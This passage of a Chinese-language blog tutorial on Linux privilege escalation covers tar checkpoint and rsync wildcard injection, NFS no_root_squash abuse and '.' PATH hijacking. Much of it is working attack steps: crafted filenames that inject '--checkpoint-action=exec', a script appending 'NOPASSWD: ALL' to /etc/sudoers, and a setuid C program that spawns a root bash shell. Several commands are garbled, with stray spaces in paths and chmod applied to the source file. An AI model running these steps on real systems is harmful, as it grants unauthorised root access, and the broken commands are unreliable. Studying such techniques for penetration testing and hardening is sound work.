如果在同一目录中创建到/etc/passwd的符号链接,则/etc/passwd的所有者也将是您,这将使您获得root shell。

其他

TAR

Tar是一个程序,可让您将文件收集到存档中。

在tar中,有checkpoint标志,这些标志使您可以在归档指定数量的文件后执行操作。由于我们可以使用通配符注入来注入那些标志,因此我们可以使用checkpoint点来执行我们选择的命令。如果tar以root用户身份运行,则命令也将以root用户身份运行。

鉴于存在此漏洞,获得root权限的一种简单方法利用sudoer,这将在下面进行说明。

利用

假设我们有一个易受攻击的程序,并且使用cron定期运行该程序。该程序包含以下内容:

1
2
cd important-directory
tar cf /var/backups/backup.tar *

进行根访问的步骤如下:

1)注入一个标志来指定我们的checkpoint

首先,我们将指定在归档一个文件之后,有一个检查点。稍后我们将对该检查点执行操作,但是现在我们仅告诉tar它存在。

让我们创建一个将注入标记的文件:

1
2
cd important-directory
touch -- --checkpoint=1 #--可以将后面的--checkpoint=1视作创建的文件名而不是选项(如--help)原因未明

2)编写恶意的Shell脚本

Shell脚本更改sudoers进行提权

1
echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > demo.sh

Shell脚本应与通配符位于同一目录中。

请注意,我们将必须更改my-user为要成为sudoer的实际用户。

3)注入一个指定检查点动作的标志

现在,我们将指定,当tar到达在步骤#1中指定的检查点时,它应运行在步骤#2中创建的shell脚本:

1
touch -- "--checkpoint-action=exec=sh demo.sh"

4)root

等待,直到cron执行了脚本并通过键入以下内容获得root权限。

1
sudo su

rsync

Rsync是“快速,通用,远程(和本地)文件复制工具”,在linux系统上非常常见。

与rsync一起使用的一些有趣的标志是:

1
-e, --rsh=COMMAND      specify the remote shell to use   --rsync-path=PROGRAM  specify the rsync to run on remote machine

我们可以使用该-e标志来运行所需的任何Shell脚本。让我们创建一个shell脚本,它将我们添加到sudoers文件中:

1
echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > shell.sh

现在让我们注入将运行我们的shell脚本的标志:

1
touch -- "-e sh shell.sh"

0x09 Linux提权-NFS利用

如果您在linu服务器上具有低特权shell,并且发现服务器中具有NFS共享,则可以使用它来升级特权。但是成功取决于它的配置方式。

NFS介绍

网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在NFS协议是几个分布式文件系统标准,网络附加存储(NAS)之一。

NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。

root_sqaush和no_root_sqaush

Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody”,它具有最少的本地特权。如果no_root_squash选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用“ root_squash”参数。

==对NFS的利用要求squash选项得开启==

利用NFS并获取Root Shell

现在,我们拿到了一个低权限的shell,我们查看“ /etc/exports ”文件。

/etc/exports文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。

这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成:[共享的目录] [主机名或IP(参数,参数)]其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是 sync,ro,root_squash,no_delay。当主机名或IP地址为空时,则代表共享给任意客户机提供服务。当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样:[共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]

在这里插入图片描述

我们可以看到**/tmp** 文件夹是可共享的,远程用户可以挂载它。还有不安全的参数“ rw ”(读,写),“ sync ”和“ no_root_squash

同样我们也可以使用 showmount命令来查看。

showmount命令用于查询NFS服务器的相关信息

1
2
3
4
# showmount --help
Usage: showmount [-adehv]
[--all] [--directories] [--exports]
[--no-headers] [--help] [--version] [host] -a或--all

以 host:dir 这样的格式来显示客户主机名和挂载点目录。

-d或–directories 仅显示被客户挂载的目录名。

-e或–exports 显示NFS服务器的输出清单。

-h或–help 显示帮助信息。

-v或–version 显示版本信。

–no-headers 禁止输出描述头部信息。 显示NFS客户端信息 #

showmount 显示指定NFS服务器连接NFS客户端的信息

1
2
3
4
5
6
7
8
9
10
11
# showmount 192.168.1.1  #此ip为nfs服务器的 显示输出目录列表

# showmount -e 显示指定NFS服务器输出目录列表(也称为共享目录列表)

# showmount -e 192.168.1.1 显示被挂载的共享目录

# showmount -d 显示客户端信息和共享目录

# showmount -a 显示指定NFS服务器的客户端信息和共享目录

# showmount -a 192.168.1.1

这里不多说了

我们接下来在我们的攻击机上安装客户端工具

需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、rpcbind等12个软件包

sudo apt install nfs-commonapt-get install cifs-utils

然后输入命令

showmount -e [IP地址]

在这里插入图片描述

创建目录以挂载远程系统。

1
mkdir / tmp / test

在/tmp/test上装载Remote/tmp文件夹:

1
mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test

在这里插入图片描述

然后在/tmp/test/中。新建一个c文件。

1
2
3
4
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h> int main() { setuid(0); system("/bin/bash"); return 0; }

也可以

1
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/test/suid-shell.c

编译:

1
gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel

赋权:

1
chmod +s /tmp/test/suid-shell.c

回到要提权的服务器上

在这里插入图片描述

1
cd / tmp./suid-shell

可以看到是ROOT权限了

0x0A Linux提权-利用“.”路径配置错误

如果在PATH有.的存在,则无需使用./binary即可执行它(使用binary即可)。那么我们将能够执行当前目录中的任何脚本或二进制文件。

发生这种情况是因为Linux首先在“.”位置搜索程序。再在其他地方搜索。

在叫ls的文件中,添加了一个代码,该代码将打印“ Hello world”

在这里插入图片描述

在PATH变量的最前面添加.

在这里插入图片描述

在这里插入图片描述

此时,执行命令ls,这将运行目录下的ls./ls而不是我们所熟知的ls

现在,如果root用户以root特权执行代码,我们可以使用root特权实现任意代码执行。

在这里插入图片描述

参考

参考:https://www.freebuf.com/articles/251884.html


Linux提权一文通
https://m0ck1ng-b1rd.github.io/2022/02/01/内网提权-Linux/
作者
何语灵
发布于
2022年2月1日
许可协议